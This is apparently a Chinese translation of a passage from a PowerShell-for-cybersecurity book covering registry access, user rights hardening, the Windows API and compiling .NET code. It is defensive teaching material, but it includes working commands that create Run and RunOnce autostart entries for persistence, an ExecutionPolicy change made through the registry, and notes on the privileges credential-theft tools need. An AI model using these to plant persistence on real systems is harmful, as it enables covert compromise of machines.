面向网络安全的 Powershell 自动化和脚本编程(三)
原文:
annas-archive.org/md5/497778742979feec5fa142fe450d7d89译者:飞龙
第五章:PowerShell 强大——系统和 API 访问
当你以为 PowerShell 已经是一个强大的工具时,准备好惊讶于它深入系统的能力。在本章中,我们将探索如何使用 PowerShell 访问系统和 API。
我们将从 Windows 注册表开始,了解如何利用 PowerShell 轻松访问其键和值。接着,我们将深入 .NET 框架和 Windows API,你将学习如何直接从 PowerShell 执行 C# 代码。
接下来,我们将探索 Windows 管理工具(WMI),它可以用来通过标准接口访问和管理各种系统资源,包括硬件、软件、网络组件以及其他对象。PowerShell 使得与 WMI 交互、自动化任务和操作数据变得简单。
在本章中,你还将学习如何在不执行 powershell.exe 的情况下运行 PowerShell 命令。你将学习如何直接在其他应用程序中,甚至在内存中运行 PowerShell 代码。
你将学习如何识别潜在威胁并保护你的环境免受这些类型的攻击。所以,准备好发现 PowerShell 在系统和 API 访问方面的强大功能吧。让我们开始吧!本章将涵盖以下内容:
-
熟悉 Windows 注册表
-
Windows API 基础知识
-
探索 .NET 框架
-
了解 组件对象模型(COM) 和 COM 劫持
-
通用信息模型(CIM)/WMI
-
无需
powershell.exe运行 PowerShell
技术要求
为了充分利用本章的内容,请确保你具备以下条件:
-
PowerShell 7.3 及以上版本
-
安装了 Visual Studio Code
-
安装了 Visual Studio 用于 C# 代码编写
-
C、C++ 或 C# 知识和/或阅读 C 代码的能力
-
如何使用编译器的知识,特别是 C/C++/C#
-
Visual Basic 知识和/或阅读 Visual Basic 代码的能力
-
访问 Microsoft Excel 或 Office 套件中的其他工具,以运行宏
-
访问 GitHub 仓库以获取 第五章:
github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter05
熟悉 Windows 注册表
Windows 注册表在 Windows 3.1 中引入。尽管当时它主要存储 COM 基于组件的信息,但它随着时间的推移得到了发展。如今,它作为我们熟知的层次化数据库——存储 Windows 操作系统的低级配置设置以及在其上运行的应用程序的配置。
虽然你可以通过多种方式访问注册表,但本节将重点介绍如何使用 PowerShell 访问和操作注册表。
现代系统的 Windows 注册表通常由五个根键组成。每个根键都有各自的目的,并包含不同的设置:
-
HKEY_CLASSES_ROOT** (HKCR**): 此根键下的分支包含有关 COM 类注册信息和文件关联的信息。 -
HKEY_CURRENT_USER** (HKCU**): 包含特定于当前登录用户的设置。从技术上讲,此根键只是一个符号链接,指向HKU\<CurrentUserSid>\。 -
HKEY_LOCAL_MACHINE** (HKLM**): 特定于本地计算机的设置。 -
HKEY_USERS** (HKU**): 每个活动加载在机器上的用户配置文件的子键(类似于HKEY_CURRENT_USER,但不仅限于当前登录用户)。 -
HKEY_CURRENT_CONFIG** (HKCC**): 此根键下的分支本身不存储任何信息,而是作为指向保留有关当前硬件配置文件信息的注册表键的指针。
PowerShell 将注册表视为虚拟驱动器;您可以使用与导航和编辑文件和文件夹相同的命令访问和修改它。
使用注册表
使用 Get-PSDrive cmdlet,您可以获取当前会话的所有驱动器。如果进一步检查输出,您会看到不仅列出了系统驱动器。HKCU 和 HKLM 注册表根键也可以在此处找到:
图 5.1 – 使用 Get-PSDrive 查找 HKCU 和 HKLM 注册表根键
由于像 HKCU 和 HKLM 这样的 PSDrive 被视为常规文件驱动器,因此您可以使用 Set-Location(或等效的别名 cd)以及 Get-ChildItem(或别名 ls)来浏览它们以列出文件夹的内容,这并不奇怪。
在下面的示例中,我从注册表中查询当前的 Windows PowerShell 版本:
图 5.2 – 浏览注册表
在前面的屏幕截图中,您可以看到所有子注册表键(名称),以及属于每个注册表键的所有注册表条目(在此上下文中也称为 Property)。
通过使用 Registry:: 后跟要查询的根键,还可以浏览注册表的其他位置,而不仅限于列出的驱动器。在下面的屏幕截图中,我使用 Foreach-Object 显示所有子注册表键的键名:
图 5.3 – 使用 Registry:: 前缀浏览注册表
使用注册表键类似于处理文件和文件夹,但在处理注册表条目时仍然存在差异。它们不仅由键组成,还包括属性和值,正如您可以在下面的屏幕截图中看到的:
图 5.4 – 使用 Get-Item 显示注册表键的属性和值
当处理具有大量子键和属性的注册表键时,你可能希望快速获取所有子键的列表。你可以通过使用 ForEach-Object Name 来实现:
图 5.5 – 显示所有子注册表键
在这张截图中,我们首先使用 Set-Location cmdlet 将工作目录更改为 HKLM:\SOFTWARE\Microsoft\Windows\,然后使用 Get-ChildItem 查询注册表。这样,如果你想在该位置执行进一步的命令,就不需要一遍又一遍地输入完整路径了。
如果你不确定某个特定的注册表键的位置,可以像使用以下命令搜索驱动器上的特定文件一样,递归查询注册表:
> Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\PowerShell" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -like "*PowerShellEngine*"}
使用 New-Item cmdlet,你可以创建一个新的注册表键,而使用 Remove-Item,你可以删除一个或多个注册表键,如下图所示:
图 5.6 – 创建和删除注册表键
使用 Remove-Item 和 -Recurse 参数,可以递归删除注册表键及其子键,而无需确认提示。
注册表条目属性
你现在已经知道如何操作注册表键和如何显示它们的属性,但当涉及到注册表时,你还需要了解如何操作属性。
如前所述,虽然操作注册表类似于处理文件和文件夹,但在注册表条目的属性方面存在一些差异:文件有 LastWriteTime 等属性,而注册表条目则有其独特的属性集。
获取属性的快捷方法之一是使用 Get-Item,但还有另一个 cmdlet 可以帮助你获取更多细节 —— Get-ItemProperty:
图 5.7 – 使用 Get-ItemProperty 显示注册表条目
通过使用 *-ItemProperty cmdlets,你还可以管理注册表条目。例如,要创建一个新的注册表条目,New-ItemProperty cmdlet 可以帮助你。以下截图中,我为所有用户创建了一个新的启动文件夹条目,并使用 Remove-ItemProperty 删除了它:
图 5.8 – 创建和删除新的注册表条目
还可以通过使用 Set-ItemProperty cmdlet 更改注册表条目。以下示例演示了如何使用 Set-ItemProperty 修改现有的启动项条目以更改脚本的路径:
图 5.9 – 修改注册表项
顺便说一下,攻击者也喜欢创建启动项!例如,这是建立持久性的一种方式。所以,如果你在 PowerShell 日志中遇到类似于前面代码的内容,而你自己并未创建它,那可能是攻击者试图修改启动项以运行他们的恶意软件,而不是其原本预定的目的。
你可以通过以下帮助系统命令获得更多关于如何使用 PowerShell 操作注册表的信息:
-
Get-Help Registry -
Get-Help about_Providers
此外,了解如何使用注册表进行安全性相关操作对防守者至关重要。接下来让我们探讨一些最常见的使用场景。
安全性使用场景
攻击者查询或尝试修改注册表的使用场景有很多种——防守者也应该熟悉这些场景。让我们先来探索一些最常见的场景。
侦察
攻击者经常访问注册表以了解更多关于当前目标系统的信息:是否在使用反恶意软件解决方案,攻击者的代码是否需要额外的步骤来避免被检测到?是否有备份解决方案可以防止勒索软件攻击成功?
注册表也常常被查询,以了解更多关于系统和配置的(安全)选项。有些对手还会尝试找出当前执行代码的系统是否是虚拟机(VM)或沙箱。
虚拟机(VM)是一个模拟计算机,它托管在另一个计算机上,即虚拟机监控程序(hypervisor)。它不需要自己的硬件,因为它与许多其他虚拟机共享虚拟机监控程序的硬件。沙箱是一个系统,通常由安全研究人员甚至反恶意软件解决方案使用,用来引爆潜在的恶意软件并测试它的行为以及是否真的是恶意的。攻击者通常希望避免其软件在虚拟机或沙箱中运行,因为这可能意味着有人正在分析他们的恶意软件,并建立防护措施来应对它。
如果是这种情况,并且恶意软件是在虚拟机(VM)或沙箱中执行的,它通常会被实现为使软件的行为与在真实用户使用的物理工作设备上执行时不同——以此来复杂化其代码的逆向工程,从而延长其保持隐蔽的时间。
回到注册表——将凭证存储在注册表中是一个非常不好的做法,应该避免。然而,仍然有管理员和软件供应商以非常不安全的方式使用注册表存储凭证。因此,攻击者曾被观察到查询注册表以检索凭证。
一些恶意软件甚至会将注册表用于它们自己的目的,设置并查询它们自己的注册表树或键。
请记住,当你在寻找侦察证据时,攻击者也有其他(编程)选项来查询注册表——例如reg.exe命令行工具或 WMI。
执行策略
在第一章《PowerShell 入门》中,我们了解到ExecutionPolicy限制了在本地计算机上执行脚本—尽管这并不是一种安全控制。然而,ExecutionPolicy的状态也可以通过注册表查询或修改:
图 5.10 – 使用注册表更改 Windows PowerShell ExecutionPolicy
使用注册表更改ExecutionPolicy只对 Windows PowerShell 有效。因此,你可以在前面的截图中看到,首先,Windows PowerShell 的ExecutionPolicy显示为Restricted,但在配置注册表条目后,它变为Unrestricted。
PowerShell Core 的ExecutionPolicy定义在以下文件中:C:\Program Files\PowerShell\7\powershell.config.json。
持久性
攻击者尝试编辑注册表的另一个原因是为了建立持久性:建立持久性的常见方法之一是添加启动项。这可以通过在当前用户或所有用户的启动文件夹中添加链接来完成。
另一种通过启动项建立持久性的方式是通过在以下启动项注册表位置之一下添加Run或RunOnce注册表键:
-
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ -
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ -
HCU\.DEFAULT\Software\Microsoft\CurrentVersion\
请注意,.DEFAULT也可以替换为相应文件夹下HKEY_USERS中的用户安全标识符(SIDs)。
Run键在每次用户登录时执行程序,而RunOnce键只执行一次程序,然后删除该键。这些键可以为用户或计算机设置。
例如,要为当前用户设置一个RunOnce键,在用户登录后执行脚本一次,你可以使用以下代码:
> New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ -Name "HelloWorld" -Value "C:\Users\ADMINI~1\AppData\Local\Temp\HelloWorld.ps1"
要为本地计算机设置一个Run键,使其在每次启动计算机时执行脚本,请使用以下命令:
> New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name "HelloWorld" -Value "C:\Users\ADMINI~1\AppData\Local\Temp\HelloWorld.ps1"
此外,攻击者还可以通过直接写入他们各自的Run**/**RunOnce键到HKU\<TargetSID>\Software\Microsoft\CurrentVersion\下的相应位置,来在其他用户的启动项下建立持久性,前提是他们拥有必要的权限。
现在我们已经探讨了 Windows 注册表,让我们深入了解与安全性相关的另一个重要部分:本地用户权限。
用户权限
用户权限在企业环境中发挥着重要作用:例如,你可以配置谁可以登录哪个系统,以及谁可以做什么。配置错误可能导致严重的身份盗窃和横向移动风险。
对手可以利用它来查明哪些帐户值得被攻击,以提升他们的特权。
你可以在官方文档中找到所有用户权限的详细概述:docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/user-rights-assignment。
我知道文档内容非常庞杂,如果你还没有用户权限的经验,可能会很快迷失其中。因此,让我来解释一些最常见的安全相关用户权限,我经常看到它们被错误配置。
配置访问用户权限
通常来说,登录权限非常重要,如果允许过多的用户或组访问敏感系统,可能会带来安全隐患。许多默认权限在系统安装时已被预设,并且可能需要修改以加固系统安全。
根据你为其配置此策略的机器类型,你可能需要限制本地登录或通过远程桌面登录的能力,只允许用户和/或特定的管理员帐户:
- 从网络访问此计算机(SeNetworkLogonRight):对于域控制器(DC),所有经过身份验证的用户都需要访问域控制器以应用组策略,因此需要配置管理员和已验证用户访问域控制器。移除内建组。
移除所有人、用户以及成员服务器的内建组。对于客户端计算机,仅允许用户和管理员登录。
-
允许本地登录(SeInteractiveLogonRight):移除访客和内建组。如果是域控制器或成员服务器,还需要移除用户。
-
允许通过远程桌面
服务(SeRemoteInteractiveLogonRight) 登录 -
作为批处理作业登录(SeBatchLogonRight)
-
作为服务登录(SeServiceLogonRight)
拒绝规则会覆盖允许权限:无论你配置了什么样的允许规则,如果拒绝规则禁止访问,相关用户将无法登录或访问机器:
-
拒绝通过网络访问此计算机(SeDenyNetworkLogonRight)
-
拒绝作为批处理作业登录(SeDenyBatchLogonRight)
-
拒绝作为服务登录(SeDenyServiceLogonRight)
-
拒绝本地登录(SeDenyInteractiveLogonRight)
-
拒绝通过远程桌面
服务(SeDenyRemoteInteractiveLogonRight) 登录
这些规则可以帮助你在环境中建立一个稳固的分层概念。
除非你的特定配置要求,否则不要移除访客的拒绝登录/访问权限。
通过备份和恢复权限来降低风险
备份和恢复权限非常强大,因为它们允许用户访问和修改通常无法访问的文件和目录。在关键系统(如域控制器)上,仔细评估哪些用户配置了这些权限非常重要。这些权限可能会让攻击者提取敏感信息,具体如下:
-
备份文件和
目录(SeBackupPrivilege) -
恢复文件和
目录(SeRestorePrivilege)
重要的是要注意,备份权限允许用户读取任何文件,无论他们的正常权限是什么。这意味着拥有备份权限的用户也可能访问敏感信息,例如,在 DC 上的ntds.dit数据库文件中存储的密码哈希。另一方面,恢复权限允许用户写入任何文件,这可能被用来植入恶意代码或修改关键系统文件。
默认情况下,内置的备份操作员组被分配了这两项权限。如果你打算删除该组,请小心,因为某些备份软件依赖该组才能正常运行。尽可能地,将备份和恢复权限仅分配给特定的用户或组,而不是依赖于内置的备份 操作员组。
委派和 impersonation(身份冒充)
拥有委派权限的人可以将权限委派给另一个帐户。身份冒充允许冒充另一个帐户,通常由 Web 服务器在用户上下文中访问资源。如果配置错误,这两者可能会带来严重后果:
- 启用计算机和用户帐户信任委派(SeEnableDelegationPrivilege): 如果一个帐户被信任进行委派,这意味着该帐户可以设置信任委派设置。一旦设置,这项设置将允许在保持原始帐户凭证的情况下连接到多个服务器或服务。Web 服务器需要使用原始凭证连接到数据库或数据共享,这是一个合理的信任 委派的用例。
然而,除非某些软件确实需要,否则你应该避免配置此项权限。
-
身份冒充客户端(身份验证后)(SeImpersonatePrivilege): 身份冒充允许服务或线程在不同的安全上下文下运行。如果配置错误,这种能力可能使攻击者欺骗客户端连接到攻击者创建的服务,然后冒充连接的客户端来提升攻击者的权限。
-
作为操作系统的一部分(SeTcbPrivilege): 该权限允许帐户控制系统并充当任何用户。此设置决定一个进程是否可以获得任何用户的身份,从而访问该用户可以使用的资源。
防止事件日志篡改
如果你可以访问审计和安全日志,你可以篡改它并隐藏你的痕迹。以下设置会影响对审计和安全日志的访问,应该小心配置:
-
生成安全审计(SeAuditPrivilege):尽管此权限仅允许生成新事件,但攻击者可以制造大量噪音,使他们的攻击尝试未被注意到,尤其是在公司未转发事件日志且在达到一定数量后会删除日志的情况下。
-
管理审计和安全日志(SeSecurityPrivilege):如果您可以管理事件日志,那么您肯定也能删除它们。请在系统事件日志中查找事件 ID
104。有关监控和检测的更多信息,请参阅 第四章,检测 – 审计与监控。
防止 Mimikatz 和凭证窃取
Mimikatz 和其他用于凭证窃取的工具通常需要调试程序的权限或加载内核模式驱动程序的权限。以下设置通常是 Mimikatz 等工具提取凭证时所需的:
- 调试程序(SeDebugPrivilege):关于调试程序权限的一个常见误解是,开发人员需要此权限来调试他们的软件。其实并非如此。调试程序权限允许访问本应受到保护的操作系统内存,实际上提供了对程序执行的控制能力以及读取和写入内存的能力。像 Mimikatz 这样的工具,访问 本地安全机构(LSA)以提取凭证,需要此权限才能正常工作。
通常情况下,您的管理员不需要此用户权限,因此,即使是管理员也可以安全地撤销此权限。
请注意,管理员可以将此权限分配给自己;因此,移除此权限并监控其变更非常重要。通过这种方式,您可以发现凭证窃取攻击开始的迹象。
- 加载和卸载设备驱动程序(SeLoadDriverPrivilege):此权限使用户帐户能够加载内核模式驱动程序。由于这些驱动程序位于内核模式内存中,因此它们可以用于读取或篡改其他内核模式内存,类似于调试程序权限。授予此用户权限时请谨慎。
系统和域访问
获取系统访问权限或将计算机添加到域对于攻击者来说非常有价值。以下设置与这些场景相关:
- 将工作站添加到域(SeMachineAccountPrivilege):此权限允许用户将工作站添加到域中。
时间篡改
操作系统的时间篡改默认情况下不被视为安全漏洞,并且不应与 时间戳篡改 混淆,后者涉及修改文件创建、访问、修改等时间戳。然而,重要的是要意识到,某些程序在系统时间被篡改时可能会遇到问题,且不正确的时间戳可能导致在事件日志分析过程中得出不准确的结论。为了避免这些情况,以下设置应谨慎配置:
-
更改系统
时间(SeSystemtimePrivilege) -
更改时间
时区(SeTimeZonePrivilege)
当然,这只是我见过的多数配置错误的用户权限的总结,并非完整列表。请参考官方文档并跟随链接阅读有关每个用户权限的更多信息:docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/user-rights-assignment。
如果您想了解哪些内置组默认分配了哪些用户权限,以下文档会非常有帮助:docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn487460(v=ws.11)。
您也可以使用Policy Analyzer来分析并将您的设置与官方的 Microsoft 推荐进行比较。我们将在第6 章中进一步探讨 Policy Analyzer,章节内容包括Active Directory – 攻击与缓解。
但是,Policy Analyzer 并不是分析和比较用户权限分配的唯一方式——接下来我们将看看如何验证已设置的权限以及如何配置它们。
检查和配置用户权限
如果您想检查本地计算机上配置了哪些用户权限,可以运行以下命令:
> SecEdit.exe /export /areas USER_RIGHTS /cfg $Env:Temp\secedit.txt
如果您想导出本地和域管理的合并策略,可以使用/****mergedpolicy参数:
> SecEdit.exe /export /mergedpolicy /areas USER_RIGHTS /cfg $Env:Temp\secedit.txt
所有当前的用户权限将被写入$Env:Temp\secedit.txt。在[Privilege Rights]部分,您可以找到所有已配置的权限分配。使用secedit时,仅会显示 SIDs,因此您需要将其转换为真实的用户账户名称。
图 5.11 – secedit 文件中的权限设置
您可以在官方文档中找到更多关于secedit的其他参数和使用信息:docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb490997(v=technet.10)。
我编写了一个脚本,Get-UserRightsAssignment,它可以帮助您将 SIDs 转换为账户名称,并简化用户权限的处理。您可以使用-Path参数指定一个自定义位置,保存secedit生成的文件:
> Get-UserRightsAssignment.ps1 -Path C:\tmp\secedit.txt
secedit文件将在脚本执行完毕后删除。如果没有指定-Path,默认路径将是$env:TEMP\secedit.txt。由于脚本使用了secedit工具,您需要具有管理员权限才能执行该脚本。
你可以在本书的 GitHub 仓库中找到并下载Get-UserRightsAssignment脚本:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Get-UserRightsAssignment.ps1。
你还可以使用组策略配置环境中多个计算机和/或服务器的用户权限分配。
创建一个新的组策略对象(GPO),并导航至计算机配置 | Windows 设置 | 安全设置 | 本地策略 | 用户权限分配。
图 5.12 – 通过组策略配置用户权限分配
双击每个你想要配置的策略设置。会打开一个窗口。要配置该设置,勾选定义这些策略设置框,并使用添加用户或组来添加额外的用户或组,如下截图所示:
图 5.13 – 配置本地登录权限设置
在解释标签下,你可以找到更多关于此设置的功能说明,并且通常还会有一些有用的链接,提供更多关于此设置的详细信息。
如果你配置了用户权限分配并在系统上评估 GPO,你会发现一个类似的文件被创建,就像你手动创建它一样。你可以使用它来比较设置,或者将一个手动预配置的secedit文件放在这里,避免通过 GPO 界面手动配置所有设置。
例如,在我的域 PSSec.local 中,我创建了一个唯一 ID 为 {B04231D1-A45A-4390-BB56-897DA6B1A910} 的 GPO。如果我想访问新创建的 secedit 配置,只需导航到以下路径并查看 GptTmpl.inf 文件:
\\pssec.local\SYSVOL\PSSec.local\Policies\{B04231D1-A45A-4390-BB56-897DA6B1A910}\Machine\Microsoft\Windows NT\SecEdit
当然,你也可以直接将现有 Microsoft 安全基线中的GptTmpl.inf文件复制到新创建的 GPO 中,只配置 Microsoft 推荐的设置。Microsoft 安全基线是 Microsoft 提供的一种配置建议,旨在提供安全最佳实践。我们将在第六章中进一步了解基线,主题包括Active Directory – 攻击和缓解。
在前一节中探索完 Windows 用户权限后,我们现在将重点关注 Windows 操作系统的另一个重要组件——Windows API。
Windows API 基础
Windows 应用程序编程接口(API),也称为 Win32 或 WinAPI,是一组库、函数和接口,提供对 Windows 操作系统各种功能和组件的底层访问。它允许开发者直接访问系统功能和硬件,简化对操作系统深层次功能的访问。Windows API 函数是用 C/C++ 编写的,并通过 DLL 文件(如kernel32.dll 或 user32.dll)暴露给开发者使用。
Windows API 被实现为一组动态链接库(DLLs),这些库在应用程序需要使用时被加载到内存中。这些 DLL 包含构成 API 的函数和过程。当应用程序调用 API 中的某个函数时,它本质上是在向操作系统发送一条消息,要求执行某个任务。操作系统随后从适当的 DLL 中执行相应的函数,并将结果返回给应用程序。
现如今,Windows API 或 WinAPI 这个名称指代多个版本,尽管为不同平台实现的版本仍可以按照它们自己的名字来称呼(例如 Win32 API):
-
Win16 API:第一个 API 版本是 Win16 API,它是为 16 位平台开发的,但现在已不再支持。 -
Win32 API:Windows 32 API 目前仍在所有现代 Windows 系统中使用,并且是在 Windows NT 和 Windows 95 时引入的。 -
Win32s API:这是 Windows 3.1 系列的 Windows 32 API,因此是 32 位的扩展,因为该系列的系统最初仅支持 16 位。s代表子集。 -
Win64 API:该 API 是现代 64 位操作系统的变体,并在 Windows XP 和 Windows Server 2003 中引入。 -
Windows Native API:当其他 API,如 Win32 API 尚不可访问时,使用原生 API——例如,在系统启动时。与在微软开发者网络(MSDN)中有良好文档支持的 Win32 API 函数(如kernel32.dll)不同,需要注意的是,通过NTDLL.DLL导出的原生 API 并不被视为“契约性”接口。这意味着,NTDLL.DLL导出的函数行为和定义可能会随时间变化。
Windows API 函数完全使用 C、C++ 和汇编语言编写,因此开发者可以在自己的函数中使用这些函数。Win32 API 本身非常庞大,因此需要多个 DLL 文件来导出完整的功能。
如今,有多个分层的 API,它们简化了访问,开发者无需直接使用 Win32 或 Win64 API。
一些建立在 Windows API 基础上的 API 如下:
-
WinRT:Windows 运行时 API 首次出现在 Windows 8/Windows Server 2012 中。WinRT 基于 COM,并使用 C++实现。它使开发人员可以用其他语言编写代码,如 C++、C#、Visual Basic .NET、Rust/WinRT、Python/WinRT 以及 JavaScript/TypeScript。 -
COM:COM 是 API 的一部分,是一种进程间通信技术。我们将在本章后面深入探讨它。 -
.NET**/**.NET Framework:.NET Framework 是微软开发的软件框架,提供大量预构建的函数和 API,开发人员可以利用这些函数和 API 在 Windows 上构建应用程序。
从 PowerShell 访问 Windows API 的一种方式是通过使用.NET Framework。这使你可以访问 Windows API 提供的相同功能,但可以在 PowerShell 内部进行操作。它允许你以更低的级别与操作系统进行交互,并执行一些标准 PowerShell cmdlet 无法实现的任务。我们将在本章后面详细了解.NET Framework。
以下列表是可以利用的不同 API 类别:
-
用户界面:提供用于创建和管理用户界面元素的功能,如窗口、按钮和菜单。
-
Windows 环境(Shell):包括与 Windows Shell 交互的功能,Windows Shell 是图形用户界面,提供对文件系统和其他系统资源的访问。
-
用户输入与消息传递:通过此接口提供处理用户输入和消息传递的功能,如键盘和鼠标事件、窗口消息以及系统通知。
-
数据访问与存储:Windows API 提供用于处理数据和存储的功能,包括文件和注册表访问、数据库连接以及数据加密。
-
诊断:该接口提供访问系统性能监控、事件日志记录和故障排除错误功能的能力。
-
图形与多媒体:提供用于处理图形、多媒体和游戏开发的功能,包括 DirectX 和 Windows Media。
-
设备:Windows API 包含与硬件设备交互的功能,如打印机、扫描仪和摄像头。
-
系统服务:包含管理系统服务的功能,如启动和停止进程及管理系统资源。
-
安全与身份:安全与身份接口包括用于管理用户身份验证、访问控制和加密的功能。
-
应用程序安装与维护:包括安装和卸载应用程序、管理更新以及处理应用程序错误的功能。
-
系统管理与维护:包含管理系统设置、性能和安全性,以及自动化管理任务的功能。
-
网络和互联网:Windows API 包括用于网络和互联网连接的函数,包括 TCP/IP、套接字和 Web 服务。
-
已弃用或遗留的 API:为了与旧版本的应用程序和系统保持向后兼容,Windows API 还包括一些较旧的函数和接口。
-
Windows 和应用程序 SDK:除了之前列出的 API 类别外,还有用于 Windows 和应用程序开发的 软件开发工具包(SDK)。PowerShell 就是一个使用 Windows API 和 .NET Framework 的 SDK 示例。
System.Management.Automation程序集包含了用于在 .NET 应用程序中与 PowerShell 交互的类和 cmdlet。
一些最常用的 Windows API 函数包括与进程和线程管理、内存管理、文件和目录管理以及注册表操作相关的函数。这些函数可以用来执行多种任务,如枚举进程和线程、读写内存、创建和删除文件与目录,以及操作 Windows 注册表。
当然,还有许多其他的 API,但在本书中我不会集中讨论它们。有关可以访问的 Windows API 函数和结构的完整概述,请参见:docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list。
探索 .NET Framework
.NET Framework 是微软开发的软件框架,提供了广泛的功能,用于构建和运行应用程序。自 Windows Vista 以来,它成为了每个 Windows 安装的默认部分。框架的一个关键特性是能够访问系统和 API 资源,使其成为一个强大的工具。
.NET Framework 包含两个主要组件:
- 公共语言运行时(CLR):
这是 .NET 的运行时引擎;它还包含一个 即时编译(JIT)编译器,用于将 公共中间语言(CIL)的字节码转换为底层编译器生成的机器代码,从而在计算机特定架构上执行。
CLR 还包括线程管理、垃圾回收、类型安全、代码访问安全、异常处理等功能。
每个 .NET Framework 版本都有其自己的 CLR。
- .NET Framework 类库(FCL):
FCL 是一个包含常见功能类型和 API 的大型集合——例如,用户界面服务、连接数据库、网络等。
.NET 应用程序可以使用 C#、F#、Visual Basic 等编写,这些语言也在非 Windows 系统(如 Linux 或 macOS)上受支持。在仅限 Windows 的系统中,C++ 也可以使用。
一旦代码用 .NET Framework 兼容的语言编写,代码会被编译成 CIL,并通常存储在程序集(.dll 或 .exe 结尾)中。例如,要编译 C# 源代码文件,.NET Framework 会自带自己的编译器——csc.exe,这个编译器可以在 Windows 10 计算机上的 CLR 目录下找到:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe。
然后,编译器将编译后的 CIL 代码以及清单写入输出文件的只读部分,该部分有一个标准的 PE 头(Win32 可移植可执行文件),并将其保存为程序集文件(通常是以 .exe 结尾的文件——具体取决于您选择的输出格式):
图 5.14 – .NET 框架如何编译应用程序
CIL 代码不能直接执行;它需要由 CLR 首先通过 JIT 编译成机器代码。因此,运行应用程序的系统上需要有 CLR。
当新编译的程序集执行时,CLR 会通过使用 JIT 编译器即时编译该程序集。然后,程序集被转换为机器代码,可以在启动应用程序的机器架构上运行。
.NET Framework 与 .NET Core
随着跨平台和云应用的兴起,微软在 2016 年发布了 .NET Core,这是一个轻量级且模块化的框架版本。设计上可以在多个平台上运行,包括 Windows、macOS 和 Linux,.NET Core 可用于开发 Web、桌面、移动、游戏和物联网(IoT)应用。
后来,.NET Core 被更名为 .NET,而专为 Windows 设计的分支现在被称为 .NET Framework。
在下图中,我们将更深入地了解 .NET Framework 和 .NET 之间的相似性和差异:
图 5.15 – 比较 .NET 和 .NET Core
总体而言,.NET 是一个更轻量和模块化的框架,优化了构建现代、云端和容器化应用的能力,而 .NET Framework 是一个全面的框架,旨在支持广泛的编程场景,包括大规模企业应用和遗留系统。
使用 .NET Framework 编译 C# 代码
可以通过使用命令行编译器 csc.exe 在 .NET Framework 和 PowerShell 中编译 C# 代码。此编译器随每个 .NET Framework 的安装一起提供。请注意,csc.exe 编译器可以运行任何 .cs 文件,并且不需要 PowerShell 执行它。然而,为了完整性,我们将在本节中介绍如何从 PowerShell 使用 csc.exe。
要使用 csc.exe 编译 C# 文件,请导航到包含该文件的目录并运行以下命令:
> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:<output_file_name> <input_file_name>
/out选项指定输出文件的名称,<input_file_name>指定要编译的 C#文件的名称。例如,要编译名为MyProgram.cs的文件并生成名为MyProgram.exe的可执行文件,请运行以下命令:
> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:MyProgram.exe MyProgram.cs
要运行编译后的可执行文件,只需在 PowerShell 控制台中输入文件名:
> .\MyProgram.exe
下面是一个示例,展示了如何使用 PowerShell 编译和运行一个简单的"Hello, World!"程序:
$code = @"
using System;
class Program {
static void Main(string[] args) {
Console.WriteLine("Hello World!");
}
}
"@
$code | Out-File -FilePath MyProgram.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:MyProgram.exe MyProgram.cs
.\MyProgram.exe
编译后,运行MyProgram.exe将在控制台输出"Hello World!",如下图所示:
图 5.16 – 使用 csc.exe 编译 C 代码并执行
Out-File cmdlet 用于在编译之前将 C#代码写入名为MyProgram.cs的文件。然后可以使用csc.exe编译器编译此文件,生成的可执行文件可以使用.\MyProgram.exe运行。
使用 Add-Type 与.NET 直接交互
从 PowerShell 访问 Windows API 的最简单方法是使用Add-Type cmdlet。通过使用Add-Type,可以从 PowerShell 命令行编译并运行.NET 代码。Add-Type cmdlet 允许你在 PowerShell 会话中定义和创建.NET Core 类。通过此 cmdlet,你可以轻松将自定义对象集成到 PowerShell 代码中,并访问.NET Core 库。通过将 C#代码传递给Add-Type cmdlet 的-TypeDefinition参数,调用新定义的 C#函数时,你的代码将实时编译。
在以下示例中,我编写了一个名为DirectoryTest的小型 C#类,其中包含GetDirectories函数。GetDirectories检查传递给该函数的路径是否可访问,并将该路径包含的所有文件和文件夹输出到命令行。如果路径不存在或不是有效路径,则返回的输出将为空。
你可以在本书的 GitHub 仓库中找到代码:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Invoke-GetDirectoriesUsingAddType.ps1。
首先,你需要使用 C#创建一个没有错误的类进行编译和运行。在我的示例中,我首先将 C#代码加载到$Source变量中,这样我可以稍后访问它:
图 5.17 – 将 C#类存储在源变量中
Add-Type 允许你在 PowerShell 会话中定义并使用 .NET Core 类。这个 .NET Core 类可以像本示例中一样指定在变量内,也可以内联指定,或者通过二进制文件或源代码文件提供。以下截图展示了Add-Type的使用:
图 5.18 – 将源代码加载到当前 PowerShell 会话
现在我们可以直接与类交互,并使用 C:\ 参数调用 GetDirectories 函数,指定应该查询哪些路径的目录:
图 5.19 – 执行 DirectoryTest 类中的 GetDirectories 函数
结果 – 所有 C 分区的子文件夹都被返回。
也许你现在在问自己,“但是如果我已经有了 PowerShell,为什么还要查询 Windows API 呢?” 好吧,有几个原因可能会让你倾向于使用 API 而非 PowerShell。一个原因是,API 可以提供一些本地 PowerShell 可能无法提供的低级功能。通过 P/Invoke 直接访问原生 Windows API 并执行非托管代码,可能是另一个原因。
